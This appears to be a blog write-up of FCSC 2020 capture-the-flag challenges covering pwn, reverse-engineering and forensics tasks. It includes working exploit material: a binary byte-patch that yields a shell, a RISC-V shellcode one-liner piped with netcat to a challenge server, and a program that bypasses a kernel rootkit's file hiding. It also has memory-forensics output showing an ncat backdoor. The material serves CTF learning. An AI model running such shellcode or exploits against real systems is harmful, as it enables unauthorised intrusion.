dr-xr-xr-x 1 ctf-admin ctf-admin 4.0K Apr 25 10:46 .
drwxr-xr-x 1 ctf-admin ctf 4.0K Apr 25 10:46 ..
-rw-r--r-- 1 ctf-admin ctf 220 May 15 2017 .bash_logout
-rw-r--r-- 1 ctf-admin ctf 3.5K May 15 2017 .bashrc
-rw-r--r-- 1 ctf-admin ctf 675 May 15 2017 .profile
-rwxr-xr-x 1 ctf-admin ctf-admin 1.3K Apr 25 10:45 .start.sh
-rw------- 1 ctf-admin ctf-admin 2.6M Apr 25 10:45 bzImage
-rw------- 1 ctf-admin ctf-admin 1002K Apr 25 10:45 initramfs.cpio
-rwsr-x--- 1 ctf-admin ctf 8.5K Apr 25 10:46 wrapper
-rw-r--r-- 1 ctf-admin ctf 126 Apr 25 10:45 wrapper.c
As an ctf
user I don’t have the ability to read bzImage
or initramfs.cpio
as long as they are used in .start.sh
to start qemu
. If I look closer I see that the wrapper
binary has the following rights: -rwsr-x---
. What is s
? 🤨 This is the SUID (Set owner User ID upon execution) which indicates that the program must be executed with the UID of the owner, which here is ctf-admin
.
Back to the challenge, the subject tells me that the Linux kernel has a rather particular 333
system call. So I think I’ll start by writing a program that calls this system call.
#include <unistd.h>
int
main(int argc, char *argv[])
{
syscall(333);
}
I compile it, share it on the environment (there is a folder allowing sharing) and I get the following error:
/ $ ./mnt/share/sys
/bin/sh: ./mnt/share/sys: not found
/ $ ls -lah /mnt/share/
total 24K
drwxrwxrwx 2 998 999 4.0K May 9 11:11 .
drwxr-xr-x 3 root root 0 May 9 11:11 ..
-rwxr-xr-x 1 999 999 16.1K May 9 11:11 sys
Quite strange. After much research, I finally understand that there is no support for dynamically linked binary loaders. So I recompile statically:
gcc -static sys.c -o sys
So my program is running, nothing special is happening. Let’s look at the dmesg
logs. Oh ! there I find the flag :)
Patchinko (141 points)
We are given a binary, patchinko.bin, that we are told is running on the remote server. We are also told that the remote server will allow us to patch a byte of the binary before it is executed. The goal is to read the flag
file.
Let’s start by observing what the binary does (ghidra
then save as C and also as html which enables me to have the assembler with the C annotations next to it). I can see that it is a simple game where you have to guess (in 1 move !) a random number.
Hello! Welcome to Patchinko Gambling Machine.
Is this your first time here? [y/n]
>>> y
Welcome among us! What is your name?
>>> azad
Nice to meet you azad!
Guess my number
2919407849431380449
42
Close but no! It was 2919407849431380449. Try again!
Interestingly, the first display is not done using printf
or any other C function, but via a call to system
(a function of the libC, which does a fork
+ execve
+ wait
): system("echo Hello! Welcome to Patchinko Gambling Machine.");
.
This is the function that I have to exploit. I need to find a place in the binary where I can enter text in that console, followed by a function call with our text as a parameter. It is this function call that I will redirect to the system
function, patching the binary as allowed before its execution.
The 2 inputs (via fgets
) are followed by the call to the strlen
function, looking at the assembler allowing these calls and the offsets used for the call I find the following parameters for patching the binary:
- offset :
0x8EF
- value:
0xdd
With the following inputs I get a shell!
At which position do you want to modify (base 16)?
>>> 0x8EF
Which byte value do you want to write there (base 16)?
>>> 0xdd
== Let's go!
Hello! Welcome to Patchinko Gambling Machine.
Is this your first time here? [y/n]
>>> y
Welcome among us! What is your name?
>>> ls
flag
patchinko.bin
patchinko.py
Nice to meet you ls
!
Guess my number
-1515880507973264832
Let’s restart again with cat flag
and here’s the flag ! (for the curious, I got the script that was running to patch the binary before it was executed : patchinko.py)
Risky Business (199 points)
Oh, risc-v! As I know a bit the ISA I should not be lost. We are told that we need to find the contents of a flag
file by connecting to a remote server that executes the binary provided to us: risky-business. We are also given a Dockerfile
, dockerfile-riscv, to see the environment the binary is executed and to reproduce it (by using qemu-user mode, more info).
Having already the risc-v build and development environment installed, I only compile the qemu for risc-v (my risc-v binaries went directly to a VHDL simulator containing a description of the risc-v processor, this is why I didn’t have qemu).
So I can reproduce the whole remote configuration, but interestingly I also have access to a debugger (via the -g 1234
option of qemu
. In gdb
I run target remote localhost:1234
, this command can be included in the .gdbinit
file whose path shoud be allowed to be autoloaded by adding set auto-load safe-path [our local path here]
in ~/.gdbinit
).
So what if I start by decompiling this binary ?
I add risc-v support in ghidra
(it’s by supported in git master
branch, but not yet in a release, it should happen in the 9.2 release).
$ cd [source ghidra]/Ghidra/Processors/
$ git clone https://github.com/mumbel/ghidra_riscv
It follows the same principle than for decompiling and extracting a binary to C. And I get a main function that looks something like this:
undefined8 main(void)
{
byte bVar1;
int iVar2;
undefined8 uVar3;
byte bVar4;
int local_78;
int local_74;
uint local_70;
code acStack96 [72];
longlong local_18;
local_18 = lRam0000000000000000;
FUN_00100670(acStack96,0x43,lRam0000000000000000); // FUN_00100670 fgets
iVar2 = FUN_00100660(acStack96); // strlen
local_78 = iVar2 + -1;
local_74 = iVar2 + -2;
local_70 = (iVar2 + -1) * 2;
bVar1 = (byte)acStack96[iVar2 + -1] >> 4;
while (-1 < (int)local_70) {
if ((local_70 & 1) == 0) {
bVar4 = (byte)acStack96[local_78] & 0xf;
local_78 = local_78 + -1;
}
else {
bVar4 = (byte)acStack96[local_74] >> 4;
local_74 = local_74 + -1;
}
if ((((bVar1 == 7) && (bVar4 == 3)) || ((bVar1 == 0 && (bVar4 == 0)))) ||
((bVar1 == 0 && (bVar4 == 10)))) goto LAB_0010089a;
local_70 = local_70 - 1;
bVar1 = bVar4;
}
(*acStack96)(acStack96); // <= HERE a jump to what we input
LAB_0010089a:
uVar3 = 0;
if (local_18 != lRam0000000000000000) {
uVar3 = FUN_00100650(); // __stack_chk_fail
}
return uVar3;
}
Hum not very clear, but I understand that it takes an input, and if this input passes a certain test, then the program will jump to the memory where our input is stored and will be interpret it as risc-v instructions.
Quick note: If I had realized, by looking even closer, that it was jumping directly to where our input was stored in memory and not at the address indicated by the first 8 bytes of our input, I would have saved a lot of time.
So I have to find a shell code to use this binary and this shell code has to pass the test and be less than 67 bytes. Searching on the internet I find the following shellcode (yes although I know the risc-v assembler, I’m a computer scientist before anything else and therefore I don’t like to redo what has already been done 😜).
All that’s left to do is to encode it correctly. After a few attempts I manage to find a way to do that, passing the test.
(python -c 'print "\xb7\xa4\x43\x03\x9b\x84\x94\x97\x93\x94\xc4\x00\x93\x84\x74\x7b\x93\x94\xc4\x00\x93\x84\xb4\x34\x93\x94\xd4\x00\x93\x84\xf4\x22\x23\x38\x91\xfe\x23\x3c\x01\xfe\x13\x05\x01\xff\x93\x25\xf0\xff\x13\x26\xf0\xff\x93\x08\xd0\x0d\x73\x00\x00\x00"';cat) | nc challenges1.france-cybersecurity-challenge.fr 4004
And here’s another flag.
Hello Rootkitty (495 points)
I didn’t finish this one, but I tried a number of things and then got off on the wrong track.
We are told of a rootkit infecting a machine to which we are given the connection information (as in Pépin, with a wrapper). We are also given the files ecsc.ko
(download it) (the kernel module of the rootkit), bzImage
(download it) and initramfs.example.cpio
(download it) which enables us to re-create the environment on our machine without being on the remote machine with timeouts and many file transfers.
So I rebuild the environment like this:
TEMP=$(mktemp -d)
chmod 730 ${TEMP}
echo ${TEMP}
/usr/bin/qemu-system-x86_64 \
-m 64M \
-rtc base=2300-11-11T11:11:00 \
-cpu kvm64 \
-kernel bzImage \
-nographic \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr nopti' \
-initrd initramfs.example.cpio \
-monitor /dev/null \
-fsdev local,id=exp1,path=${TEMP},security_model=mapped \
-device virtio-9p-pci,fsdev=exp1,mount_tag=ecsc
I log in on my qemu and with ls
I immediately notice the problem:
/ $ ls
bin home proc tmp
dev init root var
ecsc_flag_XXXXXXXX lib run
etc mnt sys
/ $
It seems that files starting with ecsc_flag_
have their suffix remplaced with X
.
I verify it by creating a ecsc_flag_lol
file in my $HOME
directory. A quick ls
, and then I check if I can still read the file (knowing its name):
~ $ echo "coucou" > ecsc_flag_lol
~ $ ls
ecsc_flag_XXX
~ $ cat ecsc_flag_lol
coucou
Well, I can.
Now let’s look at the kernel module, again in ghidra
. This module modifies system calls, it is made up of 5 main functions:
init_module
which replaces thegetdents
,getdents64
andlstat
syscalls in the syscalls table with the versions contained in the module. This function is called when loading the module- The
cleanup_module
which puts back the original versions of the syscalls. This function is called when the module is unloaded. ecsc_sys_getdents
: a system call used to list the contents of a directory, this version replaces the suffix of files with aecsc_flag_
prefix byX
and modifies the associated informationecsc_sys_getdents64
: same as the previous one (the only difference beging the format in which the information is returned)ecsc_sys_lstat
: a system call which returns information from a file in the filesystem. Here again the information is modified if the file hasecsc_flag_
as a prefix.
So, if I go back to our problem, what have to do is either:
- Remove this module (for which I have to be root)
- Get the filename without using
getdents
orgetdents64
.
For solution 2, after looking at the syscalls relating to the folders and not finding a replacement, I only see bruteforce solution using open
: I forge the name, try to open it and if I get EACCES
then there is no existing file with that name. If the opening is successful I get the name and I can read the file. This solution could work if the filename wasn’t very long, here it seems doomed to fail.
I’d rather go for solution 1. Finding a way to get past root and unload the problematic kernel module. I search for binaries with their SUID
configuration allowing to exploit it but there are none. Since the linux kernel version is quite old, I think there is something to be done around that. Unfortunately I’m not very familiar with the flaws around linux. After some research, I identify a few, try to reproduce them but without success. It was Sunday night, I gave up.
My mistake was that I didn’t look in detail at what the module does, it uses the strcpy
function which computes until it meets \0
and is not limited to the size of the buffer. Several writeups have been written about this challenge and they use different methods:
There are certainly other writeups. One solution that was mentioned on the FCSC discord channel is to use the syscall32 old_readdir
(man), but I haven’t seen it in a writeup.
So here is my solution (done after the end of the CTF)
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
struct old_linux_dirent {
unsigned long d_ino; /* inode number */
unsigned long d_offset; /* offset to this old_linux_dirent */
unsigned short d_namlen; /* length of this d_name */
char d_name[1]; /* filename (null-terminated) */ // oh struct hack
};
int main(){
struct old_linux_dirent *dp;
int dir = open(".", O_RDONLY);
while (syscall(89,dir, dp, 1) != NULL) { // readdir(unsigned int fd, struct old_linux_dirent *dirp, unsigned int count)
printf("%s\n", dp->d_name);
}
return EXIT_SUCCESS;
}
Compilation
$ sudo apt-get install gcc-multilib
$ gcc -m32 -static prog.c -o prog
Then I can check it use readdir
with strace
(which intercepts and records the system calls of a programm)
$ strace ./prog
execve("./prog", ["./prog"], 0x7ffeb36a5750 /* 51 vars */) = 0
strace: [ Process PID=16084 runs in 32 bit mode. ]
brk(NULL) = 0x9caf000
brk(0x9cafd40) = 0x9cafd40
set_thread_area({entry_number=-1, base_addr=0x9caf840, limit=0x0fffff, seg_32bit=1, contents=0, read_exec_only=0, limit_in_pages=1, seg_not_present=0, useable=1}) = 0 (entry_number=12)
uname({sysname="Linux", nodename="chaton", ...}) = 0
readlink("/proc/self/exe", "/tmp/tmp.SUA1JvhPpi/prog", 4096) = 24
brk(0x9cd0d40) = 0x9cd0d40
brk(0x9cd1000) = 0x9cd1000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
openat(AT_FDCWD, ".", O_RDONLY) = 3
readdir(3, {d_ino=12468418, d_off=927165593, d_reclen=1, d_name="."}) = 1
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x6), ...}) = 0
write(1, ".\n", 2.
) = 2
readdir(3, {d_ino=12452024, d_off=1362333839, d_reclen=11, d_name=".prog.c.swp"}) = 1
write(1, ".prog.c.swp\n", 12.prog.c.swp
) = 12
readdir(3, {d_ino=12452594, d_off=1489200414, d_reclen=6, d_name="prog.c"}) = 1
write(1, "prog.c\n", 7prog.c
) = 7
readdir(3, {d_ino=12452606, d_off=1703276605, d_reclen=4, d_name="prog"}) = 1
write(1, "prog\n", 5prog
) = 5
readdir(3, {d_ino=12451841, d_off=1836120885, d_reclen=2, d_name=".."}) = 1
write(1, "..\n", 3..
) = 3
readdir(3, 0x80dc000) = 0
exit_group(0) = ?
+++ exited with 0 +++
Everything seems OK, let’s try on remote system !
$ ./mnt/share/prog
.
..
var
ecsc_flag_cf785ee0b5944f93dd09bf1b1b2c6da7fadada8e4d325a804d1dde2116676126
mnt
run
tmp
proc
sys
home
etc
init
lib
bin
root
dev
/ $ cat ecsc_flag_cf785ee0b5944f93dd09bf1b1b2c6da7fadada8e4d325a804d1dde2116676126
ECSC{c0d801fb2045ddb0ab27766e52b7654ccde41b5fc00d07fa908fefa30b45b8a5}
Got it 😎, but too late 🙃
Reverse
The goal in this category is to reverse engineer programs, generally binaries. There are 5 challenges for a total of 1241 points.
Serial Keyler (25 points)
We are given a binary, SerialKeyler, and asked to write a valid input generator for this binary, which we will validate on a remote server. This is a Keygenme type challenge. Decompiling the binary gives me this function, which takes as argument the string to convert and compares it to a target value, the 2 strings must be identical:
void FUN_0010083a(char *param_1,char *param_2)
{
long in_FS_OFFSET;
char *local_88;
char *local_80;
ulong local_68;
size_t local_60;
char local_58 [72];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_60 = strlen(param_1);
memset(local_58,0,0x40);
local_68 = 0;
local_88 = param_2;
local_80 = param_1;
while (local_68 < local_60) {
*(byte *)((long)&local_60 + (local_60 - local_68) + 7) = local_80[local_68] ^ 0x1f;
local_68 = local_68 + 1;
}
strcmp(local_88,local_58);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}
If I look closely, this code reverses the string and XOR each character with 0x1f
.
I check with a few strings provided on the remote system, and as there seems to be several to decode I write a small script to handle the conversion and conversation with the server.
from pwn import *
context.log_level = 'critical'
server = remote("challenges2.france-cybersecurity-challenge.fr", 3001)
while True:
l = server.recvline()
print(l)
if "Well done" in l:
break
username = l.split(": ")[1][:-1]
serial = ''.join([ chr(ord(i) ^ 0x1f) for i in username[::-1]])
print("username = '{}' serial = '{}'".format(username,serial))
server.sendline(serial)
print(l)
After 55 conversions (thankfully scripted), I get the flag
Infiltrate (25 points)
Agents have successfully exfiltered a file using the hard drive LED during a disk copy. They provided us with an image of the capture.
Hum what a nice capture 🔍!
2 colors? Let’s assume that each color is a bit of the file I was looking for, white = 0
and black = 1
. I write a little script that allows me to output the file :
from PIL import Image
import bitarray
im = Image.open("infiltrate.png", 'r')
bitstring = ""
for p in im.getdata():
if (p[0] == p[1]) and (p[1] == p[2]):
if p[0] == 255:
bitstring+="1"
elif p[0] == 0:
bitstring+="0"
else:
print("error")
else:
print("error ff")
bits = bitarray.bitarray(bitstring)
with open('all.bin', 'wb') as fh:
bits.tofile(fh)
I then look at what I got:
$ file all.bin
all.bin: data
Um, nothing usable, apparently. Let’s look at what’s in it anyway, using hexdump
:
$ hexdump -C all.bin |head -n 2
00000000 04 51 81 91 55 50 89 d5 c0 e4 4d 3d 6a e7 1d ed |.Q..UP....M=j...|
00000010 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|
Oh but wouldn’t 0x7f 0x45 0x4c 0x46
be a ELF
file header?
Let’s modify the previous script to remove the first 128 bits. :
bits = bitarray.bitarray(bitstring[128:])
with open('somefile.bin', 'wb') as fh:
bits.tofile(fh)
Now it’s a binary? Ghidra 🧙!
What does this binary do? It takes an input and calculates the sha1
of that input. If the sha1
matches the hardcoded value then this input is right and we get the flag.
For some reason I don’t know at the time I wrote a sha1
bruteforce algorithm that only tests string of numbers between 0 and 100000 :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/sha.h>
int main(){
char string_text[10];
char test[SHA_DIGEST_LENGTH];
for(int i=0;i<1000000; i++){
sprintf(string_text,"%d", i);
SHA1(string_text,strlen(string_text), test);
if (((((((test[0] == 'X') && (test[1] == '#')) && (test[10] == -0x5d)) &&
((test[2] == -0x25 && (test[3] == -0x69)))) &&
(((test[6] == -0x3c && ((test[4] == 'h' && (test[5] == '\x01')))) && (test[18] == '&')))
) && ((((test[7] == -0x60 && (test[8] == -0x1e)) && (test[9] == -0x29)) &&
(((test[19] == '\x12' && (test[11] == '0')) &&
((test[12] == -0x4e && ((test[13] == -0x45 && (test[15] == -2)))))))))) &&
((test[16] == '\'' && ((test[14] == -0x7e && (test[17] == -0x34)))))) {
printf("OK with %d\n", i);
}
}
return EXIT_SUCCESS;
}
It turns out that I was lucky and found the result, but it would have been better to extract the sha1
and use a site to search for sha1
inversion.
Forensics
This category focused on the analysis of digital traces. We have 10 challenges for a total of 1030 points. It’s an area I’m not particularly familiar with but it seems quite interesting to me to see what we can extract from our digital environments.
Petite Frappe 2 (25 points)
The return of the keylogger from the introduction part. This time we only have a petit_frappe_2.txt file with the key numbers and whether they are preset or released.
To find out how this works in Xorg
environments the linux arch wiki gives me the details of the program I was looking for: xmodmap
.
I recover the mapping on our machine hoping that it works well and I transform it into a python dictionary that I can use in a script later:
xmodmap -pke | sed 's/keycode *\([0-9]*\)[ \t]*= *\([^ \n]*\).*/"\1" : "\2",/' | tr -d '\n'
The regex “simply” extracts the code with the field associated to the python dictionnary format.
I can now create the following script:
import re
event = # python dict previously found from xmodmap
last=""
for line in f.readlines():
nb=re.sub("[^0-9]*", "", line.strip())
if "press" in line:
if last == "p":
keys[-1]= [keys[-1], event[nb]]
else:
keys.append(event[nb])
last="p"
else:
last="r"
print(keys)
for key in keys:
print key
The display is far from correct, but I understand the message : la solution avec xinput ne semble pas super pratique a decoder ['Shift_R', 'semicolon'] le flag est un_clavier_azerty_en_vaut_deux
That’s how I find the flag.
Find me (25 points)
We are provided with a find_me
file which happens to be a ext4
filesystem. We are also told :
You have access to a find_me file that appears to contain a well-kept secret, which may not even exist anymore. Find its contents!
The file system is mounted as follows:
$ mkdir mount_point
$ mount find_me mount_point/
Going through it gives us:
$ tree
.
├── lost+found [error opening dir]
├── pass.b64
└── unlock_me
1 directory, 2 files
Let’s take a look at the pass.b64
file:
nothing here. password splited!
And the other file is a password encrypted LUKS file:
$ file unlock_me
unlock_me: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: 220745be-23df-4ef8-bff0-a36ab5cd1eff
So I need to figure out what that password is. As I’m in the forensics category and I was told about files that no longer exist I an certain I need to find deleted files.
I use strings
(which allows one to identify the string of printable characters in a binary file) on the filesystem (with less
to display only the beginning of the results), to see if I can find anythings and bingo :
lost+found
unlock_me
pass.b64
part00
part01
part02
part03
part04
part05
part06
part07
part08
part09
part0a
part0b
part0c
part0d
part0e
part0f
part10
part11
part12
part13
part14
I give it a try with the classic utilities (foremost
,e2fsck
), but nothing gave good results. I later learned that testdisk
was working well and was getting the content back.
Well, since I know how a filesystem works, I’m looking for a tool that will allow me to inspect a filesystem by hand: debugfs
.
I make a working copy and I start to get a fell for it.
debugfs: list_deleted_inodes
Inode Owner Mode Size Blocks Time deleted
17 0 100400 2 1/ 1 Wed Apr 1 21:54:12 2020
18 0 100400 2 1/ 1 Wed Apr 1 21:54:12 2020
19 0 100400 2 1/ 1 Wed Apr 1 21:54:12 2020
20 0 100400 2 1/ 1 Wed Apr 1 21:54:12 2020
21 0 100400 2 1/ 1 Wed Apr 1 21:54:12 2020
22 0 100400 2 1/ 1 Wed Apr 1 21:54:12 2020
23 0 100400 2 1/ 1 Wed Apr 1 21:54:12 2020
24 0 100400 2 1/ 1 Wed Apr 1 21:54:12 2020
25 0 100400 2 1/ 1 Wed Apr 1 21:54:12 2020
26 0 100400 2 1/ 1 Wed Apr 1 21:54:12 2020
27 0 100400 2 1/ 1 Wed Apr 1 21:54:12 2020
28 0 100400 2 1/ 1 Wed Apr 1 21:54:12 2020
29 0 100400 2 1/ 1 Wed Apr 1 21:54:12 2020
30 0 100400 2 1/ 1 Wed Apr 1 21:54:12 2020
31 0 100400 2 1/ 1 Wed Apr 1 21:54:12 2020
32 0 100400 2 1/ 1 Wed Apr 1 21:54:12 2020
33 0 100400 2 1/ 1 Wed Apr 1 21:54:12 2020
34 0 100400 1 1/ 1 Wed Apr 1 21:54:12 2020
18 deleted inodes found.
For some reason I don’t know it is unable to find inodes 14, 15 and 16, but knowing the number of files to retrieve and the inode number of pass.b64
(13
), I can guess which inodes are missing
I dump the contents of the files from the debugfs
utility:
debugfs: block_dump -f <14> 0
0000 5457 0000 0000 0000 0000 0000 0000 0000 TW..............
0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
*
By concatenating the contents of the files in the order of the inodes I get the following string: TWYtOVkyb01OWm5IWEtzak04cThuUlRUOHgzVWRZ
.
Let’s try it in the LUKS container. Nope, doesn’t fit. Well, the file told us the password was splited with a .b64 extension, maybe I need to do base64 on this string. Base64 encodes, test on the LUKS: failure. Hmm ? 😫 Ah yes let’s try base64 decode, I get Mf-9Y2oMNZnHXKsjM8q8nRTT8x3UdY
and it’s the right one I can finally mount the LUKS decipher file.
$ sudo cryptsetup luksOpen unlock_me u
$ mkdir unlocked
$ sudo mount /dev/mapper/u unlocked
And there I find the flag inside the file .you_found_me
Academy of Investigation
The following 3 challenges are based on the same principle, we are given a dump of the memory of a machine (common for all 3) and we are asked to find information in it. There are tools to perform this kind of analysis, that’s how I discovered volatility.
In particular, it allows me to obtain an output of a certain number of commands as if I was typing on the machine (netscan
and ps
in particular) and to extract files from the dump. What I did is that I executed volatility
with all the relevant options and redirected the output to a file, to avoid having to constantly analyze the dump (it’s not very long, but it takes a bit of time, much more than a simple grep
). volatility
is based on a profile to retrieve information from the memory dump. I need to build this profile.
The documentation is pretty complete. I need to get an environment identical to the dump to get the System.map
and module.dwarf
. I can easily identify the system via strings dmp.mem
I identify : Linux 5.4.0-4-amd64 Debian GNU/Linux bullseye/sid
Now it’s a matter of reproducing the system. I finally came across this page: A version of debian which is the one I was looking for with the kernel I was looking for 🤑. I install it in a VM and get the System.map
easily. And now apt-get install linux-headers-5.4.0-4
. Ah, but it can’t find it. Okay, well… So I start looking for headers, I end up finding them on a purism repo. I add them to our source.list
, a little apt-get update
and then I install them. I can now create the profile:
$ scp -r [host machine]:CTF/FCSC2020/tools/volatility/tools/linux .
$ cd linux
$ KVER=5.4.0-4-amd64 make
$ zip profile_debian_9.2.1_linux_5.4.0-4-amd64.zip module.dwarf /boot/System.map-5.4.0-4-amd64
I get it to my host machine, and add it to my volatility setup (which is just a repo clone) in volatility/plugins/overlays/linux/profile_debian_9.2.1_linux_5.4.0-4-amd64.zip
.
C’est la rentrée (25 points)
We need to find:
- The
HOSTNAME
- The authenticated user
- The Linux version
I started by doing it without volatility
just with grep
on strings dmp.mem
(that I had saved in a file, so I won’t reread 1Gb of dump every time ^^)
For the user, using grep "home"
it is easy to find that it is Lesage
.
For the Linux version, I can find it using the same method as for building the volatility
profile.
For the hostname, I thought I had it by using grep "Lesage@" dmp.mem.strings
which give Lesage@challenge: ~
, but it was incorrect and that’s the reason for a lot of failed flag validation on this chall (6 if I remember correctly on a maximum of 10 tries). Indeed the hostname was challenge.fcsc
which was easily found with grep HOSTNAME
🤦.
But in the end I ended up getting the flag
Porte dérobée (30 points)
The subject as follows:
A remote station is connected to the station being scanned via a backdoor with the ability to execute commands.
What is the port number listening on this connection?
What is the remote IP address connected at the time of the dump?
What is the timestamp of the creation of the UTC process of this backdoor?
I look at which processes are in LISTEN
: grep "LISTEN" netstat
.
TCP ::1 : 53 :: : 0 LISTEN unbound/695
TCP 127.0.0.1 : 53 0.0.0.0 : 0 LISTEN unbound/695
TCP ::1 : 8953 :: : 0 LISTEN unbound/695
TCP 127.0.0.1 : 8953 0.0.0.0 : 0 LISTEN unbound/695
TCP 127.0.0.1 : 9050 0.0.0.0 : 0 LISTEN tor/706
TCP 127.0.0.1 : 25 0.0.0.0 : 0 LISTEN exim4/1048
TCP ::1 : 25 :: : 0 LISTEN exim4/1048
TCP 127.0.0.1 :64768 0.0.0.0 : 0 LISTEN cli/119514
TCP 127.0.0.1 :34243 0.0.0.0 : 0 LISTEN cli/119514
TCP :: :36280 :: : 0 LISTEN ncat/119711
TCP 0.0.0.0 :36280 0.0.0.0 : 0 LISTEN ncat/119711
Only one listen (in IPv4 and IPv6) goes to the outside ncat/119711
on port 36280
. That’s our first clue.
For the remote address connected to it, grep "36280" netstat
.
TCP fd:6663:7363:1000:c10b:6374:25f:dc37:36280 fd:6663:7363:1000:55cf:b9c6:f41d:cc24:58014 ESTABLISHED ncat/1515
TCP fd:6663:7363:1000:c10b:6374:25f:dc37:36280 fd:6663:7363:1000:55cf:b9c6:f41d:cc24:58014 ESTABLISHED sh/119511
TCP :: :36280 :: : 0 LISTEN ncat/119711
TCP 0.0.0.0 :36280 0.0.0.0 : 0 LISTEN ncat/119711
Now I just have to find the timestamp of the creation of ncat
from its PID
I can easily find it : grep "1515" pslist
.
0xffff9d72c014be00 ncat 1515 1513 1001 1001 0x000000003e3d0000 2020-03-26 23:24:20 UTC+0000
0xffff9d72c5d50000 sh 119511 1515 1001 1001 0x00000000128ac000 2020-03-26 23:32:36 UTC+0000
And here’s the result, I have my flag: FCSC{36280:fd:6663:7363:1000:55cf:b9c6:f41d:cc24:2020-03-26 23:24:20}
.
Premiers artéfacts (100 points)
We are asked to find the following:
The name of the process with PID 1254. :
grep "1254" psscan
.0x000000003fdccd80 pool-xfconfd 1254 - -1 -1 0x0fd08ee88ee08ec0 -
The exact command that was executed on
2020-03-26 23:29:19 UTC
:grep "2020-03-26 23:29:19 UTC" *
bash: 1523 bash 2020-03-26 23:29:19 UTC+0000 nmap -sS -sV 10.42.42.0/24
The number of unique IP-DSTs in established TCP communications (ESTABLISHED state) during dump :
13
.grep "ESTABLISHED" netscan | sed 's/^[^:]*:[0-9]* \([^ \t]*\).*/\1/' |sort -u|wc -l
- The
grep
will retrieve only the lines corresponding to anESTABLISHED
connection. sed
to extract the destination address. (a regex won’t work with IPv6 addresses, but since we only have one it’s not a problem).sort -u
to only keep one line per IP.wc -l
to count the number of lines and thus the number of connections. Here we go. Last flag.
- The
Conclusion
I found these challenges very interesting, extraordinarily diverse, and in the end I learned a lot. It was very, very enjoyable. When you see the efforts that sometimes have to be made to solve them, you can also imagine the time spent by the ANSSI agents in designing the challenges. A big thank goes out to them. The fact it was spread over several days (10 days seemed quite enjoyable to me, no need for an all-nighter), makes it possible to have a great number of diverse challenges, but also complex ones.
In the end I managed to get at least a flag in all category and finished with 1486 points, which allows me to rank 114 on more than 1500 people. Not bad for a first CTF I think. It is certain that I would love to do this kind of event again. See you next year for the FCSC2021?
Note : On the discord server, several websites offering similar challenges have been listed: